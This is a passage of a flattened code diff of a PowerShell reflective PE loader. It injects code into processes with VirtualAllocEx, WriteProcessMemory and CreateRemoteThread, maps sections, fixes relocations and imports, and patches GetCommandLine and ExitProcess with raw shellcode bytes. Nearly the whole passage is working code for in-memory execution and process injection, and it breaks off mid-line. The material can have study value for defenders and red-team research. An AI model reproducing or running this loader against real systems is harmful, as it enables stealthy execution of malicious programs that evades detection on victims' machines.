$Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($RSCAddr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for shellcode" - } - [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) - if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) - { - Throw "Unable to write shellcode to remote process memory." - } - - $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } - - #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory - [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) - if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) - { - Throw "Call to ReadProcessMemory failed" - } - [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + } - #Cleanup remote process memory - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, - if (-not $LoadByOrdinal) + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) { - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) } - - return $ProcAddress - } - - - Function Copy-Sections - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) - $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) - - #Address to copy the section to - [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) - - #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated - # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If - # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, - # so truncate SizeOfRawData to VirtualSize - $SizeOfRawData = $SectionHeader.SizeOfRawData - - if ($SectionHeader.PointerToRawData -eq 0) - { - $SizeOfRawData = 0 - } - - if ($SizeOfRawData -gt $SectionHeader.VirtualSize) - { - $SizeOfRawData = $SectionHeader.VirtualSize - } - - if ($SizeOfRawData -gt 0) - { - Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null - [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) - } - - #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space - if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) - { - $Difference = $SectionHeader.VirtualSize - $SizeOfRawData - [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) - Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null - $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null - } - } - } - - - Function Update-MemoryAddresses - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $OriginalImageBase, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - [Int64]$BaseDifference = 0 - $AddDifference = $true #Track if the difference variable should be added or subtracted from variables - [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) - - #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do - if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` - -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) - { - return - } - - - elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) - { - $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) - $AddDifference = $false - } - elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) - { - $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) - } - - #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified - [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) - while($true) - { - #If SizeOfBlock == 0, we are done - $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) - - if ($BaseRelocationTable.SizeOfBlock -eq 0) - { - break - } - - [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) - $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 - - #Loop through each relocation - for($i = 0; $i -lt $NumRelocations; $i++) - { - #Get info for this relocation - $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) - [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) - - #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase - [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF - [UInt16]$RelocType = $RelocationInfo -band 0xF000 - for ($j = 0; $j -lt 12; $j++) - { - $RelocType = [Math]::Floor($RelocType / 2) - } - - #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. - #This appears to be true for EXE's as well. - # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx - if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` - -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) - { - #Get the current memory address and update it based off the difference between PE expected base address and actual base address - [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) - [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) - - if ($AddDifference -eq $true) - { - [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) - } - else - { - [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) - } - - [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null - } - elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) - { - #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it - Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" - } - } - - $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) - } - } - - - Function Import-DllImports - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Types, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 4, Mandatory = $false)] - [IntPtr] - $RemoteProcHandle - ) - - $RemoteLoading = $false - if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) - { - $RemoteLoading = $true - } - - if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) - { - [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) - - while ($true) - { - $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) - - #If the structure is null, it signals that this is the end of the array - if ($ImportDescriptor.Characteristics -eq 0 ` - -and $ImportDescriptor.FirstThunk -eq 0 ` - -and $ImportDescriptor.ForwarderChain -eq 0 ` - -and $ImportDescriptor.Name -eq 0 ` - -and $ImportDescriptor.TimeDateStamp -eq 0) - { - Write-Verbose "Done importing DLL imports" - break - } - - $ImportDllHandle = [IntPtr]::Zero - $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) - $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) - - if ($RemoteLoading -eq $true) - { - $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr - } - else - { - $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) - } - - if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) - { - throw "Error importing DLL, DLLName: $ImportDllPath" - } - - #Get the first thunk, then loop through all of them - [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) - [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk - [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) - - while ($OriginalThunkRefVal -ne [IntPtr]::Zero) - { - $LoadByOrdinal = $false - [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero - #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit - # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint - # and doing the comparison, just see if it is less than 0 - [IntPtr]$NewThunkRef = [IntPtr]::Zero - if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0) - { - [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal - $LoadByOrdinal = $true - } - elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0) - { - [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal - $LoadByOrdinal = $true - } - else - { - [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) - $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) - $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) - $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName) - } - - if ($RemoteLoading -eq $true) - { - [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal - } - else - { - [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr) - } - - if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) - { - if ($LoadByOrdinal) - { - Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath" - } - else - { - Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" - } - } + } + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] - [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) - - $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) - [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) - [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), - #Cleanup - #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed - if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero)) - { - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr) - $ProcedureNamePtr = [IntPtr]::Zero - } - } - - $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) - } - } - } - - Function Get-VirtualProtectValue - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [UInt32] - $SectionCharacteristics - ) - - $ProtectionFlag = 0x0 - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ - } - } - else - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE - } - } - } - else - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_READWRITE - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_READONLY - } - } - else - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_NOACCESS - } - } - } - - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) - { - $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE - } - - return $ProtectionFlag - } - - Function Update-MemoryProtectionFlags - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) - $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) - [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) - - [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics - [UInt32]$SectionSize = $SectionHeader.VirtualSize - - [UInt32]$OldProtectFlag = 0 - Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null - $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) - if ($Success -eq $false) - { - Throw "Unable to change memory protection" - } - } - } - - #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE - #Returns an object with addresses to copies of the bytes that were overwritten (and the count) - Function Update-ExeFunctions - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 3, Mandatory = $true)] - [String] - $ExeArguments, - - [Parameter(Position = 4, Mandatory = $true)] - [IntPtr] - $ExeDoneBytePtr - ) - - #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. - $ReturnArray = @() - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) - [UInt32]$OldProtectFlag = 0 - - [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") - if ($Kernel32Handle -eq [IntPtr]::Zero) - { - throw "Kernel32 handle null" - } - - [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") - if ($KernelBaseHandle -eq [IntPtr]::Zero) - { - throw "KernelBase handle null" - } - - ################################################# - #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. - # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. - $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) - $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) - - [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") - [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") - - if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) - { - throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)" - } - - #Prepare the shellcode - [Byte[]]$Shellcode1 = @() - if ($PtrSize -eq 8) - { - $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 - } - $Shellcode1 += 0xb8 - - [Byte[]]$Shellcode2 = @(0xc3) - $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length - - - #Make copy of GetCommandLineA and GetCommandLineW - $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) - $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) - $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null - $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null - $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) - $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) - - #Overwrite GetCommandLineA - [UInt32]$OldProtectFlag = 0 - $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - - $GetCommandLineAAddrTemp = $GetCommandLineAAddr - Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp - $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) - $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize - Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp - - $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - - - #Overwrite GetCommandLineW - [UInt32]$OldProtectFlag = 0 - $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - - $GetCommandLineWAddrTemp = $GetCommandLineWAddr - Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp - $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) - $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize - Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp - - $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - ################################################# - - - ################################################# - #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. - # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. - # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the - # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. - $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` - , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") - - foreach ($Dll in $DllList) - { - [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) - if ($DllHandle -ne [IntPtr]::Zero) - { - [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") - [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") - if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) - { - "Error, couldn't find _wcmdln or _acmdln" - } - - $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) - $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) - - #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state - $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) - $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) - $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) - $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) - $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) - - $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) - $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null - - $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) - $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null - } - } - ################################################# - - - ################################################# - #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. - - $ReturnArray = @() - $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process - - #CorExitProcess (compiled in to visual studio c++) - [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") - if ($MscoreeHandle -eq [IntPtr]::Zero) - { - throw "mscoree handle null" - } - [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") - if ($CorExitProcessAddr -eq [IntPtr]::Zero) - { - Throw "CorExitProcess address not found" - } - $ExitFunctions += $CorExitProcessAddr - - #ExitProcess (what non-managed programs use) - [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") - if ($ExitProcessAddr -eq [IntPtr]::Zero) - { - Throw "ExitProcess address not found" - } - $ExitFunctions += $ExitProcessAddr - - [UInt32]$OldProtectFlag = 0 - foreach ($ProcExitFunctionAddr in $ExitFunctions) - { - $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr - #The following is the shellcode (Shellcode: ExitThread.asm): - #32bit shellcode - [Byte[]]$Shellcode1 = @(0xbb) - [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) - #64bit shellcode (Shellcode: ExitThread.asm) - if ($PtrSize -eq 8) - { - [Byte[]]$Shellcode1 = @(0x48, 0xbb) - [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) - } - [Byte[]]$Shellcode3 = @(0xff, 0xd3) - $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length - - [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") - if ($ExitThreadAddr -eq [IntPtr]::Zero) - { - Throw "ExitThread address 